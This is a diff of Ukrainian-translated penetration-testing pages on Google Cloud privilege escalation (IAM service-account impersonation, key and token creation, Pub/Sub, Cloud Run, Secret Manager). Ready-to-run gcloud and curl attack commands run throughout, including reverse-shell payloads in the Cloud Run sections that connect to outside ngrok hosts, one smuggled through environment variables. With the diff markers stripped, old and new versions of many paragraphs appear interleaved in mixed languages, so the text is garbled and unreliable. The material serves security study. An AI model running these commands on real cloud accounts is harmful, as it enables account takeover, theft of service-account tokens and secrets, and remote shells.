### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
|
||||
Дозвіл iam.roles.create дозволяє створювати власні ролі в проекті/організації. У руках зловмисника це небезпечно, оскільки дає змогу визначати нові набори дозволів, які згодом можуть бути призначені суб'єктам (наприклад, за допомогою дозволу iam.serviceAccounts.setIamPolicy) з метою підвищення привілеїв.
|
||||
```bash
|
||||
gcloud iam roles create <ROLE_ID> \
|
||||
--project=<PROJECT_ID> \
|
||||
--title="<Title>" \
|
||||
--description="<Description>" \
|
||||
--permissions="permission1,permission2,permission3"
|
||||
```
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
Атакуючий із зазначеними дозволами зможе **запитати access token, що належить Service Account**, тож можливо запросити access token Service Account з більшими привілеями, ніж у нас.
|
||||
|
||||
<details><summary>Імперсонувати Service Account, щоб отримати access token</summary>
|
||||
Зловмисник із зазначеними дозволами зможе **запитати access token, що належить Service Account**, отже він може отримати access token Service Account із більшими привілеями, ніж у нас.
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
</details>
|
||||
|
||||
Ви можете знайти скрипт для автоматизації [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) та python-скрипт для зловживання цим правом [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Для отримання додаткової інформації перегляньте [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Ви можете знайти скрипт для автоматизації [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) і python-скрипт для зловживання цією привілеєю [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Для більш детальної інформації див. [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
Зловмисник із зазначеними дозволами зможе **create a user-managed key for a Service Account**, що дозволить нам отримати доступ до GCP від імені цієї Service Account.
|
||||
|
||||
<details><summary>Створити service account key та автентифікуватися</summary>
|
||||
Атакуючий з наведеними правами зможе **створити ключ, керований користувачем, для Service Account**, що дозволить отримати доступ до GCP від імені цього Service Account.
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
</details>
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Ви можете знайти скрипт для автоматизації [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) та python-скрипт для зловживання цим дозволом [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Для додаткової інформації див. [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Зверніть увагу, що **`iam.serviceAccountKeys.update` won't work to modify the key** of a SA, бо для цього також потрібні права `iam.serviceAccountKeys.create`.
|
||||
Зверніть увагу, що **`iam.serviceAccountKeys.update` won't work to modify the key** облікового запису сервісу (SA), оскільки для цього також потрібен дозвіл `iam.serviceAccountKeys.create`.
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
Якщо у вас є дозвіл **`iam.serviceAccounts.implicitDelegation`** на Service Account, який має дозвіл **`iam.serviceAccounts.getAccessToken`** на третій Service Account, то ви можете використати implicitDelegation, щоб **створити токен для тієї третьої Service Account**. Нижче — діаграма для пояснення.
|
||||
Якщо у вас є дозвіл **`iam.serviceAccounts.implicitDelegation`** на обліковому записі сервісу, який має дозвіл **`iam.serviceAccounts.getAccessToken`** на третій обліковий запис сервісу, то ви можете використати implicitDelegation, щоб **створити токен для цього третього облікового запису сервісу**. Ось діаграма для пояснення.
|
||||
|
||||

|
||||
|
||||
Зауважте, що відповідно до [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), делегування через `gcloud` працює лише для генерації токена за допомогою методу [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Отже, нижче показано, як отримати токен безпосередньо через API:
|
||||
|
||||
<details><summary>Генерація токена доступу через делегування за допомогою API</summary>
|
||||
Зверніть увагу, що згідно з [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), делегування через `gcloud` працює лише для генерації токена з використанням методу [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Нижче показано, як отримати токен безпосередньо через API:
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -70,27 +67,23 @@ curl -X POST \
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
</details>
|
||||
|
||||
Ви можете знайти скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) та python скрипт для зловживання цією привілеєю [**тут**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Для додаткової інформації перегляньте [**оригінальне дослідження**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
Зловмисник із зазначеними дозволами зможе **підписувати довільні payloads у GCP**. Тому стане можливим **створити непідписаний JWT для SA і потім відправити його як blob, щоб отримати підпис JWT** від цільового SA. Для додаткової інформації [**читайте це**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
Атакуючий з наведеними дозволами зможе **підписувати довільні payloads у GCP**. Тому стане можливим **створити unsigned JWT сервісного акаунта і потім відправити його як blob, щоб JWT було підписано** цільовим SA. Для детальнішої інформації [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
|
||||
Ви можете знайти скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) та python скрипт для зловживання цією привілеєю [**тут**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) і [**тут**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Для додаткової інформації перегляньте [**оригінальне дослідження**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
Зловмисник із згаданими дозволами зможе **підписувати коректно сформовані JSON web tokens (JWTs)**. Відмінність від попереднього методу в тому, що **замість того, щоб змусити google підписати blob, який містить JWT, ми використовуємо метод signJWT, який вже очікує JWT**. Це спрощує використання, але дозволяє підписувати лише JWT, а не будь-які байти.
|
||||
Атакуючий з наведеними дозволами зможе **підписувати коректно сформовані JSON web tokens (JWTs)**. Відмінність від попереднього методу в тому, що **замість того, щоб змусити google підписати blob, який містить JWT, ми використовуємо метод signJWT, який вже очікує JWT**. Це спрощує використання, але дозволяє підписувати лише JWT, а не будь-які байти.
|
||||
|
||||
Ви можете знайти скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) та python скрипт для зловживання цією привілеєю [**тут**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Для додаткової інформації перегляньте [**оригінальне дослідження**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
Зловмисник із зазначеними дозволами зможе **додавати IAM політики до service accounts**. Це можна зловживати, щоб **наділити себе** дозволами, необхідними для імперсонації service account. У наведеному прикладі ми надаємо собі роль `roles/iam.serviceAccountTokenCreator` над цікавим SA:
|
||||
|
||||
<details><summary>Додати прив'язку IAM-політики до service account</summary>
|
||||
Атакуючий з наведеними дозволами зможе **додавати IAM політики до service accounts**. Це можна використати, щоб **надати собі** необхідні дозволи для імперсонування service account. У наступному прикладі ми надаємо собі роль `roles/iam.serviceAccountTokenCreator` над цікавим SA:
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -101,57 +94,47 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
</details>
|
||||
|
||||
Ви можете знайти скрипт для автоматизації [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
Дозвіл **iam.serviceAccounts.actAs** схожий на **iam:PassRole permission from AWS**. Він необхідний для виконання певних завдань, наприклад ініціювання інстансу Compute Engine, оскільки дає змогу «actAs» Service Account та забезпечує безпечне управління правами. За відсутності цього користувачі можуть отримати надмірний доступ. Крім того, експлуатація **iam.serviceAccounts.actAs** може здійснюватися різними методами, кожен з яких вимагає набору дозволів, на відміну від інших методів, що потребують лише одного.
|
||||
The **iam.serviceAccounts.actAs permission** схоже на **iam:PassRole permission from AWS**. Воно необхідне для виконання завдань, наприклад запуску екземпляра Compute Engine, оскільки надає можливість "actAs" Service Account, забезпечуючи безпечне управління дозволами. Без цього користувачі можуть отримати несанкціонований доступ. Крім того, експлуатація **iam.serviceAccounts.actAs** передбачає різні методи, кожен із яких вимагає набору дозволів, на відміну від інших методів, що потребують лише одного.
|
||||
|
||||
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
Імперсонування service account може бути дуже корисним для **отримання нових і кращих привілеїв**. Існує три способи, якими ви можете [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
Імперсонація Service Account може бути дуже корисною для **отримання нових і кращих привілеїв**. Існує три способи, якими ви можете [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
|
||||
- Аутентифікація **using RSA private keys** (описано вище)
|
||||
- Авторизація **using Cloud IAM policies** (описано тут)
|
||||
- **Deploying jobs on GCP services** (більш застосовно при компрометації user account)
|
||||
- Authentication **using RSA private keys** (covered above)
|
||||
- Authorization **using Cloud IAM policies** (covered here)
|
||||
- **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
Атакуючий з переліченими дозволами зможе згенерувати OpenID JWT. Вони використовуються для підтвердження особи і не обов’язково надають будь-яку неявну авторизацію щодо ресурсу.
|
||||
Зловмисник із вказаними дозволами зможе згенерувати OpenID JWT. Вони використовуються для підтвердження ідентичності і не обов'язково несуть будь-яку неявну авторизацію щодо ресурсу.
|
||||
|
||||
Згідно з цим [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), потрібно вказати audience (сервіс, де ви хочете використати токен для аутентифікації), і ви отримаєте підписаний google JWT, в якому вказано service account та audience JWT.
|
||||
Згідно з цим [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), необхідно вказати audience (сервіс, у якому ви хочете використовувати токен для автентифікації), і ви отримаєте JWT, підписаний google, який вказує Service Account та audience JWT.
|
||||
|
||||
Ви можете згенерувати OpenIDToken (якщо маєте доступ) за допомогою:
|
||||
|
||||
<details><summary>Згенерувати OpenID token для service account</summary>
|
||||
You can generate an OpenIDToken (if you have the access) with:
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
</details>
|
||||
|
||||
Тоді ви можете просто використати його для доступу до сервісу за допомогою:
|
||||
|
||||
<details><summary>Використати OpenID token для автентифікації</summary>
|
||||
Потім ви можете просто використати його, щоб отримати доступ до сервісу за допомогою:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
</details>
|
||||
|
||||
Деякі сервіси, що підтримують автентифікацію за допомогою такого типу токенів:
|
||||
Деякі сервіси, які підтримують автентифікацію за допомогою такого типу токенів, включають:
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (якщо використовується Google OIDC)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
|
||||
|
||||
Ви можете знайти приклад того, як створити OpenID-токен від імені service account [**тут**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
Приклад того, як створити OpenID token від імені service account можна знайти [**тут**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
|
||||
## Посилання
|
||||
## Джерела
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
@@ -4,34 +4,67 @@
|
||||
|
||||
## PubSub
|
||||
|
||||
Отримайте більше інформації в:
|
||||
Детальніше:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
{{#endref}}
|
||||
|
||||
### `pubsub.snapshots.create`
|
||||
|
||||
Снапшоти тем **містять поточні не підтверджені повідомлення та кожне повідомлення після нього**. Ви можете створити снапшот теми, щоб **отримати доступ до всіх повідомлень**, **уникаючи доступу до теми безпосередньо**.
|
||||
### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)
|
||||
|
||||
Snapshots тем **містять поточні unACKed повідомлення та всі повідомлення після них**. Ви можете створити snapshot теми, щоб **отримати доступ до всіх повідомлень**, **уникнувши прямого доступу до теми**.
|
||||
```bash
|
||||
gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
|
||||
```
|
||||
### **`pubsub.snapshots.setIamPolicy`**
|
||||
|
||||
Призначте попередні дозволи собі.
|
||||
|
||||
### `pubsub.subscriptions.create`
|
||||
|
||||
Ви можете створити push-підписку в темі, яка буде надсилати всі отримані повідомлення на вказану URL-адресу.
|
||||
Ви можете створити push subscription у topic, яка надсилатиме всі отримані повідомлення на вказаний URL.
|
||||
|
||||
### **`pubsub.subscriptions.update`**
|
||||
|
||||
Встановіть свою власну URL-адресу як точку доступу для крадіжки повідомлень.
|
||||
Встановіть свій URL як push endpoint, щоб перехопити повідомлення.
|
||||
|
||||
### `pubsub.subscriptions.consume`
|
||||
|
||||
Отримуйте доступ до повідомлень за допомогою підписки.
|
||||
|
||||
Отримайте доступ до повідомлень за допомогою subscription.
|
||||
```bash
|
||||
gcloud pubsub subscriptions pull <SUSCRIPTION> \
|
||||
--limit=50 \
|
||||
--format="json" \
|
||||
--project=<PROJECTID>
|
||||
```
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Надайте собі будь-які з попередніх дозволів.
|
||||
Надайте собі будь-який із попередніх дозволів
|
||||
```bash
|
||||
# Add Binding
|
||||
gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Remove Binding
|
||||
gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Change Policy
|
||||
gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
|
||||
<(echo '{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE_OR_CUSTOM_ROLE>",
|
||||
"members": [
|
||||
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
|
||||
]
|
||||
}
|
||||
]
|
||||
}') \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
Детальніше про Cloud Run див.:
|
||||
Для отримання додаткової інформації про Cloud Run перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
@@ -12,18 +12,15 @@
|
||||
|
||||
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
|
||||
|
||||
Атакуючий з такими правами може **створити сервіс Cloud Run, який запускає довільний код** (довільний Docker container), приєднати до нього Service Account і змусити код **exfiltrate токен Service Account з metadata**.
|
||||
Атакувальник з цими дозволами може **створити run service, що запускає довільний код** (довільний Docker container), приєднати до нього Service Account та змусити код **екфільтрувати токен Service Account з metadata**.
|
||||
|
||||
Скрипт експлуатації для цього методу можна знайти [тут](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py), а Docker image — [тут](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
Експлойт-скрипт для цього методу можна знайти [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py), а Docker image — [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
|
||||
Зауважте, що при використанні `gcloud run deploy` замість простого створення сервісу **потрібен дозвіл `update`**. Див. [**приклад тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
Зверніть увагу, що при використанні `gcloud run deploy` замість простого створення сервісу **потрібен дозвіл `update`**. Перегляньте [**приклад тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
|
||||
### `run.services.update` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Схоже на попередній, але для оновлення сервісу:
|
||||
|
||||
<details>
|
||||
<summary>Розгорнути сервіс Cloud Run з reverse shell</summary>
|
||||
Як і попередній метод, але оновлення сервісу:
|
||||
```bash
|
||||
# Launch some web server to listen in port 80 so the service works
|
||||
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
|
||||
@@ -39,18 +36,29 @@ gcloud run deploy hacked \
|
||||
|
||||
# If you don't have permissions to use "--allow-unauthenticated", dont use it
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.services.setIamPolicy`
|
||||
|
||||
Надайте собі привілейовані дозволи для cloud Run.
|
||||
```bash
|
||||
# Change policy
|
||||
gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
|
||||
--region=us-central1
|
||||
|
||||
# Add binding
|
||||
gcloud run services add-iam-policy-binding <SERVICE_NAME> \
|
||||
--member="allUsers" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
|
||||
# Remove binding
|
||||
gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
|
||||
--member="allUsers" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
```
|
||||
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Запустіть job з reverse shell, щоб викрасти сервісний акаунт, вказаний у команді. Ви можете знайти [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
|
||||
<details>
|
||||
<summary>Створити Cloud Run job з reverse shell</summary>
|
||||
Запустіть job з reverse shell, щоб вкрасти service account, вказаний у команді. Ви можете знайти [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
```bash
|
||||
gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--image=ubuntu:latest \
|
||||
@@ -60,14 +68,9 @@ gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--region=us-central1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Подібно до попереднього, можна **оновити job і оновити SA**, **змінити команду** та виконати її:
|
||||
|
||||
<details>
|
||||
<summary>Update Cloud Run job and execute with reverse shell</summary>
|
||||
Аналогічно до попереднього, можна **оновити job та змінити SA**, задати **команду** і **виконати її**:
|
||||
```bash
|
||||
gcloud beta run jobs update hacked \
|
||||
--image=mubuntu:latest \
|
||||
@@ -77,24 +80,33 @@ gcloud beta run jobs update hacked \
|
||||
--region=us-central1 \
|
||||
--execute-now
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.setIamPolicy`
|
||||
|
||||
Надайте собі попередні дозволи для Cloud Jobs.
|
||||
Надайте собі попередні дозволи на Cloud Jobs.
|
||||
```bash
|
||||
# Change policy
|
||||
gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
|
||||
--region=us-central1
|
||||
|
||||
# Add binding
|
||||
gcloud run jobs add-iam-policy-binding <JOB_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
|
||||
# Remove binding
|
||||
gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
```
|
||||
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
|
||||
|
||||
Зловживайте env variables під час виконання job, щоб виконати довільний код і отримати reverse shell для вивантаження вмісту container (source code) та доступу до SA у metadata:
|
||||
|
||||
<details>
|
||||
<summary>Виконати Cloud Run job з експлуатацією env variables</summary>
|
||||
Зловживати env variables під час виконання job для запуску довільного коду й отримання reverse shell, щоб вивантажити вміст контейнера (source code) та отримати доступ до SA у metadata:
|
||||
```bash
|
||||
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Посилання
|
||||
## Джерела
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
+11
-5
@@ -4,7 +4,7 @@
|
||||
|
||||
## secretmanager
|
||||
|
||||
Більше інформації про secretmanager:
|
||||
Для отримання додаткової інформації про secretmanager:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,16 +12,16 @@
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
Це дає вам доступ для читання секретів із secret manager і, можливо, може допомогти ескалювати privielegs (залежно від того, яка інформація збережена всередині секрету):
|
||||
Це дає вам доступ для читання секретів з secret manager і можливо це може допомогти в escalate privielegs (залежно від того, яка інформація збережена всередині secret):
|
||||
|
||||
<details><summary>Отримати версію секрету у відкритому вигляді</summary>
|
||||
<details><summary>Отримати версію секрету у відкритому тексті</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
Оскільки це також post exploitation technique, його можна знайти в:
|
||||
Оскільки це також post exploitation technique, її можна знайти в:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
|
||||
@@ -29,7 +29,7 @@ gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
|
||||
### `secretmanager.secrets.setIamPolicy`
|
||||
|
||||
Це дає вам доступ для читання секретів із secret manager, наприклад, використовуючи:
|
||||
Це дає вам доступ для читання секретів у secret manager, наприклад, за допомогою:
|
||||
|
||||
<details><summary>Add IAM policy binding to secret</summary>
|
||||
```bash
|
||||
@@ -37,6 +37,12 @@ gcloud secrets add-iam-policy-binding <scret-name> \
|
||||
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
Або відкликай політики за допомогою:
|
||||
```bash
|
||||
gcloud secrets remove-iam-policy-binding <secret-name> \
|
||||
--member="serviceAccount:<sa-name>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Storage
|
||||
|
||||
Basic Information:
|
||||
Базова інформація:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,28 +12,82 @@ Basic Information:
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
Цей дозвіл дозволяє вам **завантажувати файли, збережені в Cloud Storage**. Це може дозволити підвищити привілеї, оскільки в деяких випадках **там зберігається конфіденційна інформація**. Крім того, деякі сервіси GCP зберігають свої дані в buckets:
|
||||
Цей дозвіл дозволяє вам **завантажувати файли, що зберігаються в Cloud Storage**. Це потенційно дозволяє ескалювати привілеї, оскільки в деяких випадках **там зберігається конфіденційна інформація**. Більше того, деякі сервіси GCP зберігають свої дані в buckets:
|
||||
|
||||
